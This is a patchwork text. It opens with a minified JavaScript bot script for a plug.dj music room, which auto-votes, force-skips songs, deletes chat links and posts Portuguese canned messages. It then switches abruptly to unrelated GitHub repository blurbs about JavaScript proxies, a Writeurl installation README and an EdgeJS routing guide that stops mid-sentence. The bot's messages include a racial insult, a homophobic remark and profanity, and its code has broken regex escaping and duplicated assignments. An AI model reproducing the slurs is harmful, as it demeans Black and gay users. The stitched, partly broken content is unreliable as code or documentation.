data.intervalMessages(); if (data.currentsong === null) { data.newSong(); } else { API.sendChat("/em: " + data.currentsong.title + " por " + data.currentsong.author + ". :+1: " + data.currentwoots + ", :-1: " + data.currentmehs + ", :heart: " + data.currentcurates + "."); data.newSong(); document.getElementById("button-vote-positive").click(); } if (data.forceSkip) { songId = obj.media.id; return setTimeout(function() { var cMedia; cMedia = API.getMedia(); if (cMedia.id === songId) { return API.moderateForceSkip(); } }, obj.media.duration * 1000); } }; handleVote = function(obj) { return data.users[obj.user.id].updateVote(obj.vote); }; handleUserLeave = function(user) { var disconnectStats, i, u, _i, _len, _ref22; disconnectStats = { id: user.id, time: new Date(), songCount: data.songCount }; i = 0; _ref22 = data.internalWaitlist; for (_i = 0, _len = _ref22.length; _i < _len; _i++) { u = _ref22[_i]; if (u.id === user.id) { disconnectStats['waitlistPosition'] = i - 1; data.setInternalWaitlist(); break; } else { i++; } } data.userDisconnectLog.push(disconnectStats); return data.users[user.id].inRoom(false); }; antispam = function(chat) { var plugRoomLinkPatt, sender; plugRoomLinkPatt = /(\bhttps?:\/\/(www.)?plug\.dj[-A-Z0-9+&@#\/%?=~_|!:,.;]*[-A-Z0-9+&@#\/%=~_|])/ig; if (plugRoomLinkPatt.exec(chat.message)) { sender = API.getUser(chat.fromID); if (!sender.ambassador && !sender.moderator && !sender.owner && !sender.superuser) { if (!data.users[chat.fromID]["protected"]) { API.sendChat("Sem spam seu preto"); return API.moderateDeleteChat(chat.chatID); } else { return API.sendChat("Eu deveria expulsá-lo, mas estamos aqui para se diverti!"); } } } }; fans = function(chat) { var msg; msg = chat.message.toLowerCase(); if (msg.indexOf('eowkreowr') !== -1 || msg.indexOf('dsjaodas') !== -1 || msg.indexOf('poekpower') !== -1 || msg.indexOf('fokdsofsdpof') !== -1 || msg.indexOf(':trollface:') !== -1 || msg.indexOf('autowoot:') !== -1) { return API.moderateDeleteChat(chat.chatID); } }; chatUniversals = function(chat) { data.activity(chat); antispam(chat); return fans(chat); }; hook = function(apiEvent, callback) { return API.addEventListener(apiEvent, callback); }; unhook = function(apiEvent, callback) { return API.removeEventListener(apiEvent, callback); }; apiHooks = [ { 'event': API.ROOM_SCORE_UPDATE, 'callback': updateVotes }, { 'event': API.CURATE_UPDATE, 'callback': announceCurate }, { 'event': API.USER_JOIN, 'callback': handleUserJoin }, { 'event': API.DJ_ADVANCE, 'callback': handleNewSong }, { 'event': API.VOTE_UPDATE, 'callback': handleVote }, { 'event': API.CHAT, 'callback': chatCommandDispatcher }, { 'event': API.USER_LEAVE, 'callback': handleUserLeave } ]; initHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(hook(pair['event'], pair['callback'])); } return _results; }; undoHooks = function() { var pair, _i, _len, _results; _results = []; for (_i = 0, _len = apiHooks.length; _i < _len; _i++) { pair = apiHooks[_i]; _results.push(unhook(pair['event'], pair['callback'])); } return _results; }; initialize(); }).call(this); delay(); loadDammit(); function delay() { setTimeout("load();", 6000); } function load() { var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/javascript'; script.src = 'http://cookies.googlecode.com/svn/trunk/jaaulde.cookies.js'; script.onreadystatechange = function() { if (this.readyState == 'complete') { loaded(); } } script.onload = readCookies; head.appendChild(script); } function loaded() { loaded = true } function loadDammit() { if (loaded == true) { readCookies(); } } function readCookies() { var currentDate = new Date(); currentDate.setFullYear(currentDate.getFullYear() + 1); var newOptions = { expiresAt: currentDate } jaaulde.utils.cookies.setOptions(newOptions); var value = jaaulde.utils.cookies.get(COOKIE_WOOT); autowoot = value != null ? value : false; value = jaaulde.utils.cookies.get(COOKIE_QUEUE); autoqueue = value != null ? value : false; value = jaaulde.utils.cookies.set(COOKIE_STREAM); stream = value != null ? value : true; value = jaaulde.utils.cookies.get(COOKIE_HIDE_VIDEO); hideVideo = value != null ? value : false; onCookiesLoaded(); } function onCookiesLoaded() { if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6005); } if (autoqueue && !isInQueue()) { joinQueue(); } if (hideVideo) { $('#yt-frame').animate({'height': (hideVideo ? '0px' : '271px')}, {duration: 'fast'}); $('#playback .frame-background').animate({'opacity': (hideVideo ? '0' : '0.91')}, {duration: 'medium'}); } initAPIListeners(); displayUI(); initUIListeners(); populateUserlist(); } var words = { "Points" : "Beats!", "Now Playing" : "Now Spinning!", "Time Remaining" : "Time Remaining!", "Volume" : "Crank the Volume!", "Current DJ" : "Disk Jockey", "Crowd Response" : "Crowd Reaction!", "Fans":"Stalkers!"}; String.prototype.prepareRegex = function() { return this.replace(/([[]^&\$.()\?\/\+{}|])/g, "\$1"); }; function isOkTag(tag) { return (",pre,blockquote,code,input,button,textarea".indexOf(","+tag) == -1); } var regexs=new Array(), replacements=new Array(); for(var word in words) { if(word != "") { regexs.push(new RegExp("\b"+word.prepareRegex().replace(/*/g,'[^ ]*')+"\b", 'gi')); replacements.push(words[word]); } } var texts = document.evaluate(".//text()[normalize-space(.)!='']",document.body,null,6,null), text=""; for(var i=0,l=texts.snapshotLength; (this_text=texts.snapshotItem(i)); i++) { if(isOkTag(this_text.parentNode.tagName.toLowerCase()) && (text=this_text.textContent)) { for(var x=0,l=regexs.length; x<l; x++) { text = text.replace(regexs[x], replacements[x]); this_text.textContent = text; } } } var loaded = false; var mentioned = false; var clicked = false; var skipped = false; var timeToWait = 120000; var clickWait = 5000; var skipWait = 601; var timePassed = 0; var clickPassed = 0; var skipPassed = 0; var timer = null; var clickTimer = null; var skipTimer = null; var COOKIE_WOOT = 'autowoot'; var COOKIE_QUEUE = 'autoqueue'; var COOKIE_STREAM = 'stream'; var COOKIE_HIDE_VIDEO = 'hidevideo'; var MAX_USERS_WAITLIST = 50; var fbMsg = ["Entrem na Pagina da sala: https://www.facebook.com/CantadasdiPedreiro"]; var rulesMsg = "Regras: 1) Video no Maximo 6 minutos. 2) Sem Flood! 3) Nao escrever em colorido 4) Respeitar os Adms e Mods ;s 5) Nao Fiquem Pedindo Cargos. "; var skipMsg = ["por favor não pedir para pular as músicas, quer pular da deslike."]; var fansMsg = ["Virem meu Fan que eu retribuo vocês, não esqueça de da @ Menções"]; var wafflesMsg = ["Ppkas para todos! # - (> _ <) - # "," Alguém disse ppkas? # - (> _ <) - #"]; var bhvMsg = ["por favor, não sejam gays no bate-papo "," por favor, não fale assim, controlar a si mesmo! "," por favor, seja maduros fdps"]; var sleepMsg = ["Ta na hora de dormi, Fui virjs! "," Indo dormir agora "," estou tão cansado, durmi é necessário, fui me cama. "," cansaço ... sono ... e ... fui me dormir."]; var workMsg = ["Estou ocupado não sou Vagabundo igual a vocês."]; var afkMsg = ["Eu estou indo embora e um Vão se foderem."," Vou fica AFK por um tempo, volto em breve! "," Indo embora, volto em breve! "," Vou Viaja nas galáxia, estarei de volta em breve !"]; var backMsg = ["Estou de volta minhas putinhas! "," Adivinha quem está de volta? Quem sera? Claro que é eu o seu Pai :D"]; var autoAwayMsg = ["Atualmente estou AFK "," Eu estou AFK "," Eu estou em uma aventura (afk) "," desapareceu por um momento "," não está presente no teclado."]; var autoSlpMsg = ["Atualmente estou dormindo "," Estou comendo ppkas em meus sonhos"]; var autoWrkMsg = ["Atualmente estou ocupado "," estou ocupado "," fazendo um trabalho relacionado a ppkas."]; overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"];overPlayed = ["1:vZyenjZseXA", "1:ZT4yoZNy90s", "1:Bparw9Jo3dk", "1:KrVC5dm5fFc","1:Ys9sIqv42lo", "1:1y6smkh6c-0", "1:jZL-RUZUoGY", "1:CrdoD9T1Heg", "1:6R_Rn1iP82I", "1:ea9tluQ_QtE", "1:f9EM8T5K6d8", "1:aHjpOzsQ9YI", "1:3vC5TsSyNjU", "1:yXLL46xkdlY", "1:_t2TzJOyops", "1:BGpzGu9Yp6Y", "1:YJVmu6yttiw", "1:WSeNSzJ2-Jw", "1:2cXDgFwE13g", "1:PR_u9rvFKzE", "1:i1BDGqIfm8U"]; var styles = [ '.sidebar {position: fixed; top: 0; height: 100%; width: 200px; z-index: 99999; background-image: linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -o-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -moz-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -ms-linear-gradient(bottom, #000000 0%, #3B5678 100%);background-image: -webkit-gradient(linear,left bottom,left top,color-stop(0, #000000),color-stop(1, #3B5678));}', '.sidebar#side-right {right: -190px;z-index: 99999;}', '.sidebar#side-left {left: -190px; z-index: 99999; }', '.sidebar-handle {width: 12px;height: 100%;z-index: 99999;margin: 0;padding: 0;background: rgb(96, 141, 197);box-shadow: 0px 0px 15px 0px rgba(0, 0, 0, .9);cursor: "ne-resize";}', '.sidebar-handle span {display: block;position: absolute;width: 10px;top: 50%;text-align: center;letter-spacing: -1px;color: #000;}', '.sidebar-content {position: absolute;width: 185px;height: 100%; padding-left: 15px}', '.sidebar-content2 {position: absolute;width: 185px;height: 100%;}', '.sidebar-content2 h3 {font-weight: bold; padding-left: 5px; padding-bottom: 5px; margin: 0;}', '.sidebar-content2 a {font-weight: bold; font-size: 13px; padding-left: 5px;}', '#side-right .sidebar-handle {float: left;}', '#side-left .sidebar-handle {float: right;}', '#side-right a {display: block;min-width: 100%;cursor: pointer;padding: 4px 5px 8px 5px;border-radius: 4px;font-size: 13px;}', '.sidebar-content2 span {display: block; min-width: 94%;cursor: pointer;border-radius: 4px; padding: 0 5px 0 5px; font-size: 12px;}', '#side-right a span {padding-right: 8px;}', '#side-right a:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 span:hover {background-color: rgba(97, 146, 199, 0.65);text-decoration: none;}', '.sidebar-content2 a:hover {text-decoration: none;}', 'html{background: url("http://i.imgur.com/a75C9wE.jpg") no-repeat scroll center top #000000;}', '#room-wheel {z-index: 2;position: absolute;top: 2px;left: 0;width: 1044px;height: 394px;background: url(http://) no-repeat;display: none;}', '.chat-bouncer {background: url(http://i.imgur.com/9qWWO4L.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-manager{background: url(http://i.imgur.com/hqqhTcp.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '.chat-cohost {background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width:292px;}', '.chat-host{background: url(https://dl.dropbox.com/u/67634625/chat-bouncer-icon.png) no-repeat 0 5px;padding-left: 17px;width: 292px;}', '#dj-console, #dj-console {background-image: url(http://s8.postimage.org/wpugb8gc5/Comp_2.gif);min-height:33px;min-width:131px;}', '.chat-from-you{color: #0099FF;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '.chat-from-bouncer{color: #800080; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-manager{color: #FFDAB9; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-cohost{color: #FF4500; font-weight: bold; margin-top: 0px; padding-top: 0px;}', '.chat-from-host{color: #32CD32;font-weight: bold;margin-top: 0px; padding-top: 0px;}', '#user-points-title{color: #FFFFFF; position: absolute; left: 36px; font-size: 10px;}', '#user-fans-title{color: #FFFFFF; position: absolute; left: 29px; font-size: 10px;}', '.meta-header span{color: rgba(255, 255, 255, 0.79); position: absolute; left: 15px; font-size: 10px;}', '#button-lobby {background-image: url("http://i.imgur.com/brpRaSY.png");}', '#volume-bar-value{background-image: url("http://i.imgur.com/xmyonON.png") ;}', '#hr-div {;height: 100%;width: 100%;margin: 0;padding-left: 12px;}', '#hr2-div2 {;height: 100%;width: 100%;margin: 0;}', '#hr-style {position: absolute;display: block;height: 20px;width: 100%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#hr2-style2 {position: absolute;display: block;height: 20px;width: 94%%;bottom: 0%;background-image: url("http://i.imgur.com/gExgamX.png");}', '#side-left h3 {padding-left: 5px}', ]; var scripts = [ "(function($){$.fn.hoverIntent=function(f,g){var cfg={sensitivity:7,interval:100,timeout:0};cfg=$.extend(cfg,g?{over:f,out:g}:f);var cX,cY,pX,pY;var track=function(ev){cX=ev.pageX;cY=ev.pageY};var compare=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);if((Math.abs(pX-cX)+Math.abs(pY-cY))<cfg.sensitivity){$(ob).unbind('mousemove',track);ob.hoverIntent_s=1;return cfg.over.apply(ob,[ev])}else{pX=cX;pY=cY;ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}};var delay=function(ev,ob){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t);ob.hoverIntent_s=0;return cfg.out.apply(ob,[ev])};var handleHover=function(e){var ev=jQuery.extend({},e);var ob=this;if(ob.hoverIntent_t){ob.hoverIntent_t=clearTimeout(ob.hoverIntent_t)}if(e.type=='mouseenter'){pX=ev.pageX;pY=ev.pageY;$(ob).bind('mousemove',track);if(ob.hoverIntent_s!=1){ob.hoverIntent_t=setTimeout(function(){compare(ev,ob)},cfg.interval)}}else{$(ob).unbind('mousemove',track);if(ob.hoverIntent_s==1){ob.hoverIntent_t=setTimeout(function(){delay(ev,ob)},cfg.timeout)}}};return this.bind('mouseenter',handleHover).bind('mouseleave',handleHover)}})(jQuery);", 'if (jQuery.easing.easeOutQuart === undefined) jQuery.easing.easeOutQuart = function (a,b,c,d,e) { return -d*((b=b/e-1)*b*b*b-1)+c; }', '$("#side-right")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "right": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "right": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });', '$("#side-left")', ' .hoverIntent(function() {', ' var timeout_r = $(this)', ' .data("timeout_r");', ' if (timeout_r) {', ' clearTimeout(timeout_r);', ' }', ' $(this)', ' .animate({', ' "left": "0px"', ' }, 300, "easeOutQuart");', ' }, function() {', ' $(this)', ' .data("timeout_r", setTimeout($.proxy(function() {', ' $(this)', ' .animate({', ' "left": "-190px"', ' }, 300, "easeOutQuart");', ' }, this), 500));', ' });' ]; function initAPIListeners() { API.addEventListener(API.DJ_ADVANCE, djAdvanced); API.addEventListener(API.CHAT, autoRespond); API.addEventListener(API.DJ_UPDATE, queueUpdate); API.addEventListener(API.VOTE_UPDATE, function (obj) { populateUserlist(); }); API.addEventListener(API.USER_JOIN, function (user) { populateUserlist(); }); API.addEventListener(API.USER_LEAVE, function (user) { populateUserlist(); }); } function displayUI() { var colorWoot = autowoot ? '#3FFF00' : '#ED1C24'; var colorQueue = autoqueue ? '#3FFF00' : '#ED1C24'; var colorStream = stream ? '#3FFF00' : '#ED1C24'; var colorVideo = hideVideo ? '#3FFF00' : '#ED1C24'; $('#side-right .sidebar-content').append( 'auto woot' + 'auto queue' + 'stream' + 'hide video' + 'rules' + 'like our fb' + 'no fans' + 'no skip' + 'waffles' + 'sleeping' + 'working' + 'afk' + 'available' + 'skip' + 'lock' + 'unlock' + 'lockskip' ); } function initUIListeners() { $("#plug-btn-woot").on("click", function() { autowoot = !autowoot; $(this).css("color", autowoot ? "#3FFF00" : "#ED1C24"); if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } jaaulde.utils.cookies.set(COOKIE_WOOT, autowoot); }); $("#plug-btn-queue").on("click", function() { autoqueue = !autoqueue; $(this).css('color', autoqueue ? '#3FFF00' : '#ED1C24'); if (autoqueue && !isInQueue()) { joinQueue(); } jaaulde.utils.cookies.set(COOKIE_QUEUE, autoqueue); }); $("#plug-btn-stream").on("click", function() { stream = !stream; $(this).css("color", stream ? "#3FFF00" : "#ED1C24"); if (stream == true) { API.sendChat("/stream on"); } else { API.sendChat("/stream off"); } jaaulde.utils.cookies.set(COOKIE_STREAM, stream); }); $("#plug-btn-hidevideo").on("click", function() { hideVideo = !hideVideo; $(this).css("color", hideVideo ? "#3FFF00" : "#ED1C24"); $("#yt-frame").animate({"height": (hideVideo ? "0px" : "271px")}, {duration: "fast"}); $("#playback .frame-background").animate({"opacity": (hideVideo ? "0" : "0.91")}, {duration: "medium"}); jaaulde.utils.cookies.set(COOKIE_HIDE_VIDEO, hideVideo); }); $("#plug-btn-face").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fbMsg[Math.floor(Math.random() * fbMsg.length)]); } }); $("#plug-btn-rules").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(rulesMsg); } }); $("#plug-btn-fans").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(fansMsg[Math.floor(Math.random() * fansMsg.length)]); } }); $("#plug-btn-noskip").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(skipMsg[Math.floor(Math.random() * skipMsg.length)]); } }); $("#plug-btn-waffles").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); API.sendChat(wafflesMsg[Math.floor(Math.random() * wafflesMsg.length)]); } }); $("#plug-btn-sleeping").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 3) { API.sendChat(sleepMsg[Math.floor(Math.random() * sleepMsg.length)]); Models.user.changeStatus(3); } } }); $("#plug-btn-working").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 2) { API.sendChat(workMsg[Math.floor(Math.random() * workMsg.length)]); Models.user.changeStatus(2); } } }); $("#plug-btn-afk").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 1) { API.sendChat(afkMsg[Math.floor(Math.random() * afkMsg.length)]); Models.user.changeStatus(1); } } }); $("#plug-btn-back").on("click", function() { if (clicked == false) { clicked = true; clickTimer = setInterval("checkClicked();", 1000); if (Models.user.data.status != 0) { API.sendChat(backMsg[Math.floor(Math.random() * backMsg.length)]); Models.user.changeStatus(0); } } }); $("#plug-btn-skip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new ModerationForceSkipService; } }); $("#plug-btn-lock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); }); $("#plug-btn-unlock").on("click", function() { new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); }); $("#plug-btn-lockskip").on("click", function() { if (skipped == false) { skipped = true; skipTimer = setInterval("checkSkipped();", 500); new RoomPropsService(document.location.href.split('/')[3],true,true,1,5); new ModerationForceSkipService; new RoomPropsService(document.location.href.split('/')[3],false,true,1,5); } }); } function queueUpdate() { if (autoqueue && !isInQueue()) { joinQueue(); } } function isInQueue() { var self = API.getSelf(); return API.getWaitList().indexOf(self) !== -1 || API.getDJs().indexOf(self) !== -1; } function joinQueue() { if ($('#button-dj-play').css('display') === 'block') { $('#button-dj-play').click(); } else if (API.getWaitList().length < MAX_USERS_WAITLIST) { API.waitListJoin(); } } function autoRespond(data) { var a = data.type == "mention" && Models.room.data.staff[data.fromID] && Models.room.data.staff[data.fromID] >= Models.user.BOUNCER, b = data.message.indexOf('@') >0; if (data.type == "mention" && mentioned == false) { if (API.getUser(data.fromID).status == 0) { mentioned = true; timer = setInterval("checkMentioned();", 1000); if (Models.user.data.status == 1) { API.sendChat("@" + data.from + " automsg: " + autoAwayMsg[Math.floor(Math.random() * autoAwayMsg.length)]); } if (Models.user.data.status ==2) { API.sendChat("@" + data.from + " automsg: " + autoWrkMsg[Math.floor(Math.random() * autoWrkMsg.length)]); } if (Models.user.data.status ==3) { API.sendChat("@" + data.from + " automsg: " + autoSlpMsg[Math.floor(Math.random() * autoSlpMsg.length)]); } } } } function djAdvanced(obj) { if (hideVideo) { $("#yt-frame").css("height", "0px"); $("#playback .frame-background").css("opacity", "0.0"); } if (autowoot) { setTimeout("$('#button-vote-positive').click();", 6001); } setTimeout("overPlayedSongs();", 3000); } function overPlayedSongs(data) { if (overPlayed.indexOf(Models.room.data.media.id) > -1) { API.sendChat("/me auto skip ligado, Musica Repetida. Fuck you baby!"); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } if (Models.room.data.media.duration > 481) { API.sendChat("/me auto skip ligado, música com mais de 6 minutos seram puladas."); setTimeout("new RoomPropsService(document.location.href.split('/')[3],true,true,1,5);", 300); setTimeout("new ModerationForceSkipService;", 600); setTimeout("new RoomPropsService(document.location.href.split('/')[3],false,true,1,5);", 900); } } function populateUserlist() { var mehlist = ''; var wootlist = ''; var undecidedlist = ''; var a = API.getUsers(); var totalMEHs = 0; var totalWOOTs = 0; var totalUNDECIDEDs = 0; var str = ''; var users = API.getUsers(); var myid = API.getSelf(); for (i in a) { str = '' + a[i].username + ''; if (typeof (a[i].vote) !== 'undefined' && a[i].vote == -1) { totalMEHs++; mehlist += str; } else if (typeof (a[i].vote) !== 'undefined' && a[i].vote == +1) { totalWOOTs++; wootlist += str; } else { totalUNDECIDEDs++; undecidedlist += str; } } var totalDECIDED = totalWOOTs + totalMEHs; var totalUSERS = totalDECIDED + totalUNDECIDEDs; var totalMEHsPercentage = Math.round((totalMEHs / totalUSERS) * 100); var totalWOOTsPercentage = Math.round((totalWOOTs / totalUSERS) * 100); if (isNaN(totalMEHsPercentage) || isNaN(totalWOOTsPercentage)) { totalMEHsPercentage = totalWOOTsPercentage = 0; } mehlist = ' ' + totalMEHs.toString() + ' (' + totalMEHsPercentage.toString() + '%)' + mehlist; wootlist = ' ' + totalWOOTs.toString() + ' (' + totalWOOTsPercentage.toString() + '%)' + wootlist; undecidedlist = ' ' + totalUNDECIDEDs.toString() + undecidedlist; if ($('#side-left .sidebar-content').children().length > 0) { $('#side-left .sidebar-content2').append(); } $('#side-left .sidebar-content2').html(' users: ' + API.getUsers().length + ' '); var spot = Models.room.getWaitListPosition(); var waitlistDiv = $(' ').addClass('waitlistspot').text('waitlist: ' + (spot !== null ? spot + ' / ' : '') + Models.room.data.waitList.length); $('#side-left .sidebar-content2').append(waitlistDiv); $('#side-left .sidebar-content2').append(' '); $(".meanlist").append( ' meh list:' + mehlist + ' ' + ' woot list:' + wootlist + ' ' ); } function checkMentioned() { if(timePassed >= timeToWait) { clearInterval(timer); mentioned = false; timePassed = 0; } else { timePassed = timePassed + 601; } } function checkClicked() { if (clickPassed >= clickWait) { clearInterval(clickTimer); clicked = false; clickPassed = 0; } else { clickPassed = clickPassed + 601; } } function checkSkipped() { if (skipPassed >= skipWait) { clearInterval(skipTimer); skipped = false; skipPassed = 600; } else { skipPassed = skipPassed + 500; } } $('#plugbot-css').remove(); $('#plugbot-js').remove(); $('#chat-messages').append(' Bem vindo auto-skip editado pelo Rafael Moraes 1.0 '); $('body').prepend('' + "\n" + styles.join("\n") + "\n" + ''); $('body').append(' ' + ' ||| ' + ' ' + ' ' + ' ' + ' ||| ' + ' ' + ' ' + ' '); $('body').append('');
oxylabs / Puppeteer Proxy Integration JsA tutorial for implementing Oxylabs` Residential and Datacenter proxies with Puppeteer using JavaScript
Doist / Media Embed ServeroEmbed proxy in JavaScript that support a few additional non-oEmbed sources
amurgola / ResonantJsA lightweight, reactive JavaScript framework for seamless two-way data binding and synchronization between data models and the DOM. Using proxies and template cloning, it offers developers tools to build rich, responsive web interfaces. Update properties, manage arrays, and enjoy automatic DOM updates with intuitive syntax.
shaneochotny / ApplicationInsights JS ProxyApplication Insights Javascript Proxy
taoxinyi / Eff PreEfficient Proxy Re-encryption without pairing in JavaScript
luminati-io / Web Scraping With PydollUse Pydoll to scrape JavaScript-heavy sites, bypass Cloudflare, and scale web scraping with rotating proxies like Bright Data.
jbmusso / ZerZer helps you create and serialize generic JavaScript chains to String representations of any languages by leveraging ES2015 Proxy objects.
cmalf / Proxy Cloudflare CheckerA web-based Cloudflare proxy checker built with Node.js, JavaScript, and Socket.IO. Test if your proxies can bypass Cloudflare's protection through an easy-to-use web interface.
OCEANOFANYTHINGOFFICIAL / Writewrl## Writeurl - an online collaborative editor ### Writeurl is a collaborative editor Writeurl is a client server system. The frontend code is written in pure javascript using no frameworks. The backend is a node.js application. The client and server communicate through a WebSocket connection. The client stores local changes in the browser's local storage. The editor can be used in offline mode. Changes are always uploaded to the server when a connection is available. Writeurl documents are identified by their (write)url: www.writeurl.com/text/id/read-password/write-password There is a read only version with a (read)url of the form www.writeurl.com/text/id/read-password This url structure makes it easy to share documents. No user registration is needed. #### Writeurl as an online service Writeurl is available as an online service at www.writeurl.com The code running the online service is the same as in this git repo. ###Local installation Writeurl can be installed and run locally as an alternative to using the online service. #### Installation instructions ##### Dependencies The only required dependeny is node.js and the modules in package.json. It is recommended to use node.js version 8. ##### Clone the repo ``` git clone https://github.com/morten-krogh/writeurl.git ``` ##### Install the node js modules ``` npm install ``` ##### Build the browser code Go to the writeurl directory. Use the build script. ``` bash build.sh browser ``` Now the browser code is available in the directory `build/release/browser/` ##### Configuring the server The node.js server code is located in the directory `server-nodejs-express` The server needs a configuration file in the YAML format. An example file is ```server-nodejs-express/config.yaml``` ``` port: 9000 release: public: /Users/mkrogh/writeurl/build/release/browser debug: host: debug.writeurl.localhost public: /Users/mkrogh/writeurl/build/debug/browser documents: path: /Users/mkrogh/writeurl-test-dir/doc_dir publish: public: /Users/mkrogh/writeurl-test-dir/publish_dir # Pino logger # Output goes to stdout. logger: # levels: silent, fatal, error, warn, info, debug, trace level: trace ``` `port` is the port at which the server listens. `release` and `debug` are the directories built above containing the browser code. `documents` is the directory where all the writeurl documents will be stored. The server uses files to store the documents (one subdirectory per document). `publish` is the directory where the published (html) versions of the documents will be stored. `logger.level` is the logging level. Logging goes to standard output. ##### Starting the server In the directory `server-nodejs-express` type ```node writeurl-server.js config.yaml ``` ##### Start typing Go to localhost:9000 in the browser and start typing. ### Example production installation For production, it is recommended to use a reverse proxy with TLS, and to daemonize the Writeurl server. For daemonization, one can use a node.js process manager or a system daemon such as systemd on Linux. The online Writeurl service uses nginx as a reverse proxy and systemd under Linux for daemonization. ##### Example nginx configuration An example nginx.conf file is located at https://github.com/morten-krogh/writeurl/blob/master/documentation/nginx.conf ##### Example systemd unit file ``` [Unit] Description = writeurl server After = network.target [Service] Type = simple User = www ExecStart = /home/www/.nvm/versions/node/v8.9.4/bin/node /home/www/writeurl/server-nodejs-express/writeurl-server.js /home/www/writeurl/server-nodejs-express/config-debian.yaml Restart = on-failure [Install] WantedBy = multi-user.target ``` ### Backup The server can be backed up by just backing up the files in the `documents` and `publish` directories specified in the config.yaml file. Any type of file backup can be used, e.g. periodic rsync. The backup script can be used while the server is running as long as the backup script does not change any files. The server can be restarted from a backup by just placing the backup directories in the place pointed to by `documents` and `publish` in the config file. ### Embedding Writeurl can be embedded as described in https://github.com/morten-krogh/writeurl/blob/master/html/embed/index.html This page is available on the online service as well https://www.writeurl.com/embed ### Contributions and issues Bugs and feature requests are appreciated and can be opened as Github issues. We also welcome code contributions as pull requests.
NetSPI / JSWSJavaScript Web Service Proxy Burp Plugin
pawarvijay / React ChopperTwo way binding in reactjs made possible with javascript proxies
ErickWendel / Hacking Js With Proxies And ReflectionHacking the JavaScript using Proxies and Reflection
cham / JoystixJavascript module that proxies different controller types and provides a simple interface. Gamepad API / MultiTouch / Keyboard
munrocket / Overload BracketOverloading square bracket operator [] in javascript and other array methods to any object with container using es6 proxy.
Nate158s / Digital Marketing # Routing with EdgeJS https://github.com/Nate158s The `{{ PACKAGE_NAME }}/core` package provides a JavaScript API for controlling routing and caching from your code base rather than a CDN web portal. Using this _{{ EDGEJS_LABEL }}_ approach allows this vital routing logic to be properly tested, reviewed, and version controlled, just like the rest of your application code. Using the Router, you can: - Proxy requests to upstream sites - Send redirects from the network edge - Render responses on the server using Next.js, Nuxt.js, Angular, or any other framework that supports server side rendering. - Alter request and response headers - Send synthetic responses - Configure multiple destinations for split testing ## Configuration To define routes for {{ PRODUCT_NAME }}, create a `routes.js` file in the root of your project. You can override the default path to the router by setting the `routes` key in `{{ CONFIG_FILE }}`. The `routes.js` file should export an instance of `{{ PACKAGE_NAME }}/core/router/Router`: ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router() ``` ## Declare Routes Declare routes using the method corresponding to the HTTP method you want to match. ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router().get('/some-path', ({ cache, proxy }) => { // handle the request here }) ``` All HTTP methods are available: - get - put - post - patch - delete - head To match all methods, use `match`: ```js // routes.js const { Router } = require('{{ PACKAGE_NAME }}/core/router') module.exports = new Router().match('/some-path', ({ cache, proxy }) => { // handle the request here }) ``` ## Route Execution When {{ PRODUCT_NAME }} receives a request, it executes **each route that matches the request** in the order in which they are declared until one 